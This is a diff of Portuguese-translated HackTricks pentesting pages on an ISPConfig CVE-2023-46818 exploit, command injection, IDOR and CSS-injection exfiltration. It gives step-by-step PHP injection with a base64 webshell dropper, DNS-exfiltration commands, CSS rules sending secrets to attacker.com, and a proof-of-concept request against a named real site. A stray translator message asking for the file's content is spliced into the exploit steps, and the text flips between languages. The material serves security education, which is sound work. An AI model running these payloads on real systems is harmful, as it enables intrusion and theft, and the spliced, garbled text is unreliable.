-A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser abusada para obter RCE:
+A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP para linha de comando, que pode ser abusada para obter RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -2,38 +2,38 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Visão geral
+## Visão Geral
 
-ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.
+ISPConfig é um painel de controle de hospedagem de código aberto. Versões mais antigas 3.2.x incluíam um recurso de editor de arquivo de idioma que, quando habilitado para o superadministrador, permitia injeção arbitrária de código PHP via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, escalonamento de privilégios.
 
-Principais caminhos padrão:
-- A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx.
-- A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
+Key default paths:
+- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
+- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
 
-Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o:
+Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
 ```
-## Language editor PHP code injection (CVE-2023-46818)
+## Editor de idiomas PHP code injection (CVE-2023-46818)
 
-- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
-- Pré-requisitos:
-- Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor)
-- O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini`
-- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web
+- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
+- Preconditions:
+- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
+- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
+- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
 
-Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.
+References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
 
 ### Fluxo de exploração manual
 
-1) Abra/crie um arquivo de idioma para obter tokens CSRF
+1) Open/create a language file to obtain CSRF tokens
 
-Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`.
+Envie um primeiro POST para inicializar o formulário e analisar os campos CSRF na resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`.
 
-2) Injete PHP via records[] e salve
+2) Inject PHP via records[] and save
 
-Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:
+Submeta um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comandos:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -46,40 +46,40 @@ Teste fora de banda (observar ICMP):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
-3) Escrever arquivos e drop a webshell
+3) Escrever arquivos e inserir um webshell
 
-Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`):
+Use `file_put_contents` para criar um arquivo sob um caminho acessível pela web (por exemplo, `admin/`):
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
-Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
+Então escreva um webshell simples usando base64 para evitar caracteres inválidos no POST body:
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.
+Por favor cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md para eu traduzir. Observação: não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas/cloud, a palavra "leak", pentesting, links, paths, tags ou refs — e manterei exatamente a mesma sintaxe markdown/html.
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.
+Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado por root), isso resulta em root RCE imediato. Caso contrário, você obtém code execution como o usuário do servidor web.
 
-### PoC em Python
+### Python PoC
 
-Um exploit pronto para uso automatiza token handling e payload delivery:
+Um exploit pronto para uso automatiza o manuseio de tokens e a entrega do payload:
 - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
 
 Exemplo de execução:
 ```bash
 python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
-### Hardening
+### Endurecimento
 
-- Atualize para 3.2.11p1 ou posterior
-- Desative o language editor a menos que seja estritamente necessário:
+- Atualizar para 3.2.11p1 ou posterior
+- Desative o editor de idiomas a menos que seja estritamente necessário:
 ```
 admin_allow_langedit=no
 ```
 - Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
-- Exija autenticação forte para a conta integrada `admin`
+- Exigir autenticação forte para a conta `admin` integrada
 
 ## Referências
 

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## O que é command Injection?
+## What is command Injection?
 
-A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
+A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
 
 ### Contexto
 
-Dependendo de **onde sua entrada está sendo injetada**, pode ser necessário **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
+Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
 
 ## Command Injection/Execution
 ```bash
@@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limitação** Bypasses
+### **Limition** Bypasses
 
-Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** ficará interessado em ler sobre estes **Bypasses:**
+Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** você terá interesse em ler sobre estes **Bypasses:**
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parâmetros
 
-Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (conforme [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec
 ```
 ### Time based data exfiltration
 
-Extraindo dados: char por char
+Extraindo dados: char by char
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration
 
-Baseado na ferramenta disponível em `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
+Baseado na ferramenta `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Ferramentas online para verificar DNS based data exfiltration:
+Ferramentas online para verificar exfiltração de dados baseada em DNS:
 
 - dnsbin.zhack.ca
 - pingb.in
@@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API Node.js `child_process`.
+Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API `child_process` do Node.js.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
+`exec()` spawns a **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
 
-**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida:
+**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhum shell seja envolvido:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso do mundo real: *Synology Photos* ≤ 1.7.0-0794 estava explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, que mais tarde foram incorporados em uma chamada `exec()`, alcançando RCE (Pwn2Own Ireland 2024).
+Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocava dados controlados pelo atacante em `id_user`, que depois eram incorporados em uma chamada `exec()`, conseguindo RCE (Pwn2Own Ireland 2024).
 
 ## Brute-Force Detection List
 

src/pentesting-web/idor.md

@@ -2,10 +2,11 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar que o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite horizontal ou vertical privilege-escalation, como ler ou modificar os dados de outros usuários e, no pior caso, account takeover completo ou mass-data exfiltration.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto.
+A exploração bem-sucedida normalmente permite elevação de privilégios horizontal ou vertical, como leitura ou modificação de dados de outros usuários e, no pior cenário, sequestro total da conta ou exfiltração massiva de dados.
 
 ---
-## 1. Identificando possíveis IDORs
+## 1. Identificando potenciais IDORs
 
 1. Procure por **parâmetros que referenciam um objeto**:
 * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
@@ -13,9 +14,9 @@ IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOL
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
 * Headers / Cookies: `X-Client-ID: 4711`
 2. Prefira endpoints que **leem ou atualizam** dados (`GET`, `PUT`, `PATCH`, `DELETE`).
-3. Repare quando os identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe.
-4. Explore fluxos ocultos ou alternativos (p.ex. link *"Paradox team members"* em páginas de login) que podem expor APIs extras.
-5. Use uma **sessão autenticada de baixo privilégio** e altere apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização geralmente é um sinal de IDOR.
+3. Observe quando identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe.
+4. Explore fluxos ocultos ou alternativos (por exemplo *"membros da equipe Paradox"* em páginas de login) que possam expor APIs adicionais.
+5. Use uma sessão **autenticada com privilégios baixos** e altere apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização geralmente é um sinal de IDOR.
 
 ### Manipulação manual rápida (Burp Repeater)
 ```
@@ -35,67 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
 -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
 done
 ```
-### Oracle de resposta de erro para enumeração de usuário/arquivo
+### Oráculo de resposta de erro para enumeração de usuário/arquivo
 
-Quando um endpoint de download aceita tanto um username quanto um filename (por exemplo `/view.php?username=<u>&file=<f>`), diferenças sutis nas mensagens de erro frequentemente criam um oracle:
+Quando um endpoint de download aceita tanto um username quanto um filename (e.g. `/view.php?username=<u>&file=<f>`), diferenças sutis nas mensagens de erro frequentemente criam um oráculo:
 
-- Username inexistente → "User not found"
-- Filename inválido mas extension válida → "File does not exist" (às vezes também lista arquivos disponíveis)
-- Extension inválida → validation error
+- username inexistente → "User not found"
+- filename inválido mas extensão válida → "File does not exist" (às vezes também lista arquivos disponíveis)
+- extensão inválida → erro de validação
 
-Com qualquer sessão autenticada, você pode fuzzar o parâmetro username enquanto mantém um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos:
+Com qualquer sessão autenticada, você pode fuzz o parâmetro username mantendo um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Uma vez identificados nomes de usuário válidos, solicite arquivos específicos diretamente (por exemplo, `/view.php?username=amanda&file=privacy.odt`). Esse padrão frequentemente leva à divulgação não autorizada de documentos de outros usuários e credential leakage.
+Uma vez que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, `/view.php?username=amanda&file=privacy.odt`). Esse padrão costuma levar à divulgação não autorizada de documentos de outros usuários e credential leakage.
 
 ---
-## 2. Estudo de Caso do Mundo Real – Plataforma Chatbot McHire (2025)
+## 2. Estudo de Caso do Mundo Real – McHire Chatbot Platform (2025)
 
-Durante uma avaliação do portal de recrutamento **McHire**, alimentado por Paradox.ai, o seguinte IDOR foi descoberto:
+Durante uma avaliação do portal de recrutamento Paradox.ai-powered **McHire**, o seguinte IDOR foi descoberto:
 
 * Endpoint: `PUT /api/lead/cem-xhr`
-* Authorization: user session cookie para **qualquer** conta de teste de restaurante
-* Body parameter: `{"lead_id": N}` – identificador numérico de 8 dígitos, **sequencial**
+* Authorization: cookie de sessão do usuário para **qualquer** conta de teste de restaurante
+* Body parameter: `{"lead_id": N}` – identificador numérico **sequencial** de 8 dígitos
 
-Ao diminuir `lead_id` o testador recuperou a **PII** completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** de consumidor que permitiu session hijacking. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros.
+Ao diminuir `lead_id`, o testador recuperou candidatos arbitrários’ **full PII** (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** do consumidor que permitia session hijacking. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros.
 
-Requisição de Prova de Conceito:
+Proof-of-Concept request:
 ```bash
 curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Combinada com **default admin credentials** (`123456:123456`) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa.
+Combinada com as **credenciais administrativas padrão** (`123456:123456`) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa.
 
 ---
 ## 3. Impacto de IDOR / BOLA
-* Escalada horizontal – ler/atualizar/deletar dados de **outros usuários’**.
-* Escalada vertical – usuário com baixos privilégios obtém funcionalidade restrita a admin.
-* Violação massiva de dados se os identificadores forem sequenciais (ex.: IDs de candidatos, faturas).
-* Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.
+* Escalonamento horizontal – ler/atualizar/excluir dados de **outros usuários**.
+* Escalonamento vertical – usuário com baixos privilégios ganha funcionalidade exclusiva de admin.
+* Violação massiva de dados se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
+* Sequestro de contas ao roubar tokens ou redefinir senhas de outros usuários.
 
 ---
-## 4. Mitigações & Boas Práticas
-1. **Implemente autorização ao nível do objeto** em cada requisição (`user_id == session.user`).
-2. Prefira **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
-3. Realize a autorização **no servidor**, nunca confie em campos de formulário ocultos ou controles de UI.
+## 4. Mitigações & Best Practices
+1. **Impor autorização em nível de objeto** em cada requisição (`user_id == session.user`).
+2. Prefira **identificadores indiretos e não previsíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
+3. Realize autorização **server-side**, nunca confie em campos de formulário ocultos ou controles da UI.
 4. Implemente verificações **RBAC / ABAC** em um middleware central.
 5. Adicione **rate-limiting & logging** para detectar enumeração de IDs.
-6. Teste de segurança todo novo endpoint (testes unitários, de integração e DAST).
+6. Teste de segurança em cada novo endpoint (unit, integration, and DAST).
 
 ---
-## 5. Ferramentas
+## 5. Tooling
 * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
 * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
 
 
 
-## Referências
+## References
 * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
 * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
 * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)

src/pentesting-web/xs-search/css-injection/README.md

@@ -19,29 +19,29 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`), pois elementos ocultos não carregam imagens de fundo.
+No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`) porque elementos ocultos não carregam imagens de fundo.
 
 #### Bypass para Elementos Ocultos
 
-Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
+Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador geral de irmãos `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+Um exemplo prático de exploração dessa técnica está detalhado no trecho de código fornecido. Você pode visualizá-lo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
 #### Pré-requisitos para CSS Injection
 
-Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas:
+Para que a técnica CSS Injection seja efetiva, certas condições devem ser atendidas:
 
-1. **Payload Length**: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
-2. **CSS Re-evaluation**: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
+1. **Payload Length**: O vetor de injeção CSS precisa suportar payloads suficientemente longos para acomodar os seletores criados.
+2. **CSS Re-evaluation**: Você deve ter a capacidade de carregar a página dentro de um frame, o que é necessário para acionar a reavaliação do CSS com payloads gerados dinamicamente.
 3. **External Resources**: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site.
 
 ### Blind Attribute Selector
 
-Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.\
+Como [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos não observáveis. Isso é muito útil quando você não tem ideia do que existe na página que carrega a CSS Injection.\  
 Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:
 ```html
 <style>
@@ -52,34 +52,34 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muita **informação usando CSS injection a partir de páginas blind com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Combinando isto com a seguinte técnica **@import**, é possível exfiltrar muita informação usando **CSS injection** em **blind pages** com [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-A técnica anterior tem algumas desvantagens, confira os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável a CSS injection**.
+A técnica anterior tem algumas desvantagens — verifique os pré-requisitos. Ou você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável a CSS injection**.
 
-No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
+No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a eficácia.
 
-Isto foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
+Isto foi demonstrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
 
-Em vez de carregar a mesma página repetidas vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a enviar para a vítima):
+Em vez de carregar a mesma página repetidas vezes com dezenas de diferentes payloads cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a enviar para a vítima):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. O import vai **receber some CSS script** dos atacantes e o **browser will load it**.
-2. A primeira parte do CSS script que o atacante irá enviar é **another `@import` to the attackers server again.**
-1. O attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
-3. A segunda e maior parte do payload é going to be an **attribute selector leakage payload**
-1. This will send to the attackers server the **first char of the secret and the last one**
-4. Uma vez que o attackers server has received the **first and last char of the secret**, ele irá **respond the import requested in the step 2**.
-1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
+1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**.  
+2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**  
+1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.  
+3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**  
+1. This will send to the attackers server the **first char of the secret and the last one**  
+4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.  
+1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.  
 
-O atacante irá s**eguir esse loop até conseguir leak completamente o segredo**.
+The attacker will f**ollow that loop until it manages to leak completely the secret**.
 
-You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
+Você pode encontrar o original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou pode encontrar quase o [**mesmo código mas comentado aqui**.](#css-injection)
 
 > [!TIP]
-> O script tentará descobrir 2 chars cada vez (do começo e do fim) porque o attribute selector allows to do things like:
+> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
 >
 > ```css
 > /* value^=  to match the beggining of the value*/
@@ -96,20 +96,20 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > This allows the script to leak the secret faster.
 
 > [!WARNING]
-> Às vezes o script **não detecta corretamente que o prefix + suffix discovered is already the complete flag** e ele continuará forwards (no prefix) e backwards (no suffix) e em algum ponto irá hang.\
-> Sem problemas, apenas verifique a **output** porque **você pode ver a flag lá**.
+> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
+> No worries, just check the **output** because **you can see the flag there**.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
 This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
 
 > [!WARNING]
-> Comparisons de igualdade em if() requerem aspas duplas para literais de string. Aspas simples não irão corresponder.
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
 
-- Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
-- Read: copiar o atributo para uma variável CSS: `--val: attr(title)`.
-- Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
-- Exfiltrate: aplicar `background: image-set(var(--steal))` (ou qualquer fetching property) para forçar uma requisição ao endpoint escolhido.
+- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
+- Read: copy the attribute into a CSS variable: `--val: attr(title)`.
+- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.
 
 Attempt (does not work; single quotes in comparison):
 ```html
@@ -119,7 +119,7 @@ Payload funcional (aspas duplas obrigatórias na comparação):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
-Enumerando valores de atributos com condicionais aninhados:
+Enumerando valores de atributos com condicionais aninhadas:
 ```html
 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
 ```
@@ -130,17 +130,17 @@ Demonstração realista (sondando nomes de usuário):
 Notas e limitações:
 
 - Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
-- Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, nomes de usuário curtos). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
-- Qualquer propriedade CSS que busque uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
+- Melhor adequado para espaços de valores finitos/enumeráveis (IDs, flags, short usernames). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
+- Qualquer propriedade CSS que faça fetch de uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
 
-Automação: uma Burp Custom Action pode gerar payloads inline-style aninhados para brute-forcear valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
 ### Outros seletores
 
-Outras formas de acessar partes do DOM com **CSS selectors**:
